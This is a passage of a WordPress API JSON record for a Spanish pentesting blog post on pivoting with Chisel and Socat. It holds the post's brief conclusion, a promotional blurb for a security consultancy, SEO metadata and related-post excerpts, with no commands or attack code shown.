allow-popups-to-escape-sandbox\"><\/iframe><\/span>\n<\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusi\u00f3n<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">En el mundo del pentesting y la ciberseguridad, herramientas como Chisel y Socat representan puentes esenciales que nos permiten atravesar obst\u00e1culos y expandir nuestro alcance en redes complejas. Ambas herramientas, aunque distintas en su naturaleza, comparten un objetivo com\u00fan: facilitar la conectividad y el acceso. Ya sea creando t\u00faneles a trav\u00e9s de firewalls o redirigiendo tr\u00e1fico entre diferentes puertos y protocolos, estos poderosos &#8220;conectores&#8221; son indispensables para cualquier profesional de seguridad que busque explorar, examinar y proteger redes en profundidad.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd12&nbsp;<strong><a href=\"https:\/\/hardsoftsecurity.es\/\">Hardsoft Security<\/a><\/strong>&nbsp;ofrece servicios de consultor\u00eda en ciberseguridad, asegurando que tu negocio est\u00e9 siempre protegido contra las amenazas m\u00e1s recientes. Y si est\u00e1s buscando un alojamiento que ponga la seguridad primero,&nbsp;<a href=\"https:\/\/securehosting.es\"><strong>Secure Hosting<\/strong>&nbsp;<\/a>es tu soluci\u00f3n ideal. Ayudamos a mantener seguro tu sitio web con las mejores pr\u00e1cicas de ciberseguridad con nuestro asesoramiento en ciberseguridad especializado.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No esperes a ser el pr\u00f3ximo objetivo. Asegura tu presencia online con las mejores soluciones y servicios del mercado. \u00a1Contacta con&nbsp;<a href=\"https:\/\/hardsoftsecurity.es\/index.php\/contacta-con-nosotros-2\/\"><strong>Hardsoft Security<\/strong>&nbsp;<\/a>y&nbsp;<strong><a href=\"https:\/\/securehosting.es\/1251-2\/\">Secure Hosting<\/a><\/strong>&nbsp;hoy mismo!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(La ciberseguridad no es un lujo, sino una necesidad. Protege tu inversi\u00f3n y tu reputaci\u00f3n en l\u00ednea.)<\/em>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>El pivoting es m\u00e1s que una simple t\u00e9cnica; es un arte. Act\u00faa como un puente, permitiendo a los profesionales de seguridad superar las barreras que les separan de sus objetivos &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3415,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Descubre el arte del #Pivoting con #Chisel y #Socat en nuestro \u00faltimo post. \u00a1Desvela los secretos para navegar por redes complejas con facilidad! \u00bfListo para transformar tu enfoque en #Ciberseguridad? \ud83d\udd10\ud83c\udf10 \u00a1Lee ahora! ","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[472,336,474,350,41,473,475,46,470,471],"class_list":["post-3414","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-chisel","tag-ciberseguridad","tag-conectividad","tag-herramientas-de-seguridad","tag-pentesting","tag-pivoting","tag-pruebas-de-penetracion","tag-redes","tag-socat","tag-tuneles"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Pivoting con Chisel y Socat - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pivoting con Chisel y Socat - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-10-25T06:30:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1280\" \/>\n\t<meta property=\"og:image:height\" content=\"600\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Pivoting con Chisel y Socat\",\"datePublished\":\"2023-10-25T06:30:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/\"},\"wordCount\":1557,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image.png?fit=1280%2C600&ssl=1\",\"keywords\":[\"Chisel\",\"Ciberseguridad\",\"Conectividad\",\"Herramientas de seguridad\",\"pentesting\",\"Pivoting\",\"Pruebas de penetraci\u00f3n\",\"redes\",\"Socat\",\"T\u00faneles\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/\",\"name\":\"Pivoting con Chisel y Socat - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image.png?fit=1280%2C600&ssl=1\",\"datePublished\":\"2023-10-25T06:30:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image.png?fit=1280%2C600&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image.png?fit=1280%2C600&ssl=1\",\"width\":1280,\"height\":600},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/10\\\/25\\\/pivoting-chisel-socat\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Pivoting con Chisel y Socat\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pivoting con Chisel y Socat - Hardsoft Security","description":"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","og_locale":"es_ES","og_type":"article","og_title":"Pivoting con Chisel y Socat - Hardsoft Security","og_description":"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-10-25T06:30:00+00:00","og_image":[{"width":1280,"height":600,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"9 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Pivoting con Chisel y Socat","datePublished":"2023-10-25T06:30:00+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/"},"wordCount":1557,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&ssl=1","keywords":["Chisel","Ciberseguridad","Conectividad","Herramientas de seguridad","pentesting","Pivoting","Pruebas de penetraci\u00f3n","redes","Socat","T\u00faneles"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","name":"Pivoting con Chisel y Socat - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&ssl=1","datePublished":"2023-10-25T06:30:00+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Aprende con ejemplos pr\u00e1cticos c\u00f3mo utilizar Chisel y Socat para realizar pivoting en redes, superando obst\u00e1culos como firewalls y NATs.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&ssl=1","width":1280,"height":600},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Pivoting con Chisel y Socat"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-T4","jetpack-related-posts":[{"id":3562,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","url_meta":{"origin":3414,"position":0},"title":"Hack The Box | Reddish | Write Up","author":"david","date":"noviembre 1, 2023","format":false,"excerpt":"Diving deep into the realms of \u2694\ufe0f HackTheBox \ud83d\udc7d, I took on one of its most challenging monsters: Reddish! After a week of intense battles, deciphering and decoding, I can finally say: I conquered it! \ud83d\udca5. Not only was it an insane level machine that tested every bit of my\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":3583,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/27\/preparar-ecpptv2\/","url_meta":{"origin":3414,"position":1},"title":"\u00bfC\u00f3mo PREPARAR la certificaci\u00f3n eCPPTV2?","author":"david","date":"noviembre 27, 2023","format":false,"excerpt":"Hoy, me complace profundizar en \"\u00bfC\u00f3mo preparar la certificaci\u00f3n eCPPTv2 (Certified Professional Penetration Tester)?\", una credencial que he obtenido recientemente y que ha marcado un punto de inflexi\u00f3n significativo en mi carrera en seguridad inform\u00e1tica. Esta certificaci\u00f3n no solo ha ampliado mi conocimiento t\u00e9cnico sino que tambi\u00e9n ha reforzado mi\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3581,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url_meta":{"origin":3414,"position":2},"title":"PIVOTING with METASPLOIT?","author":"david","date":"noviembre 15, 2023","format":false,"excerpt":"Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit's autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1717,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/09\/18\/que-es-metasploit-framework\/","url_meta":{"origin":3414,"position":3},"title":"\u00bfQu\u00e9 es Metasploit Framework?","author":"david","date":"septiembre 18, 2018","format":false,"excerpt":"Hola a tod@s, hoy os traigo Metasploit Framework, donde conoceremos la descripci\u00f3n de metasploit, donde describiremos que es Metasploit, definiciones de Metasploit y comandos b\u00e1sicos. Comenzamos por saber que es Metasploit Framework: Metasploit Framework, es una de las herramientas m\u00e1s utilizadas por los auditores de seguridad. Incluye una gran colecci\u00f3n\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/02\/metasploit.png?fit=469%2C309&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":51,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2014\/10\/02\/que-es-el-sniffing\/","url_meta":{"origin":3414,"position":4},"title":"\u00bfQu\u00e9 es el Sniffing? Ataque MITM.","author":"david","date":"octubre 2, 2014","format":false,"excerpt":"\u00bfQu\u00e9 es el Sniffing?, Ataque MITM. \u00bfQu\u00e9 es el Sniffing?, Ataque MITM. El Sniffing, es una t\u00e9cnica utilizada para escuchar todo lo que ocurre dentro de una red, esto se suele hacer en redes internas o de intranet, pero tambi\u00e9n se llega a ver en internet. Todo esto se consigue\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2014\/10\/5-hackers-famosos-que-debes-conocer.jpg?fit=640%2C364&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2014\/10\/5-hackers-famosos-que-debes-conocer.jpg?fit=640%2C364&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2014\/10\/5-hackers-famosos-que-debes-conocer.jpg?fit=640%2C364&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":680,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2015\/10\/26\/introduccion-al-footprinting-con-kali-linux-2-0\/","url_meta":{"origin":3414,"position":5},"title":"Introducci\u00f3n al Footprinting Con Kali Linux 2.0","author":"david","date":"octubre 26, 2015","format":false,"excerpt":"Buenas a todos, hoy comenzaremos con una introducci\u00f3n al Footprinting, \u00bfEn que consiste esto?, b\u00e1sicamente consiste en la recogida de informaci\u00f3n de la victima\/objetivo, para conseguir vectores de ataque, esto quiere decir que a m\u00e1s informaci\u00f3n recogida m\u00e1s vectores de ataque a explotar, esta fase pertenece al sistema que se\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"Screenshot_1","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/10\/screenshot_1.png?resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/10\/screenshot_1.png?resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/10\/screenshot_1.png?resize=525%2C300 1.5x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3414"}],"version-history":[{"count":8,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3414\/revisions"}],"predecessor-version":[{"id":3433,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3414\/revisions\/3433"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3415"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}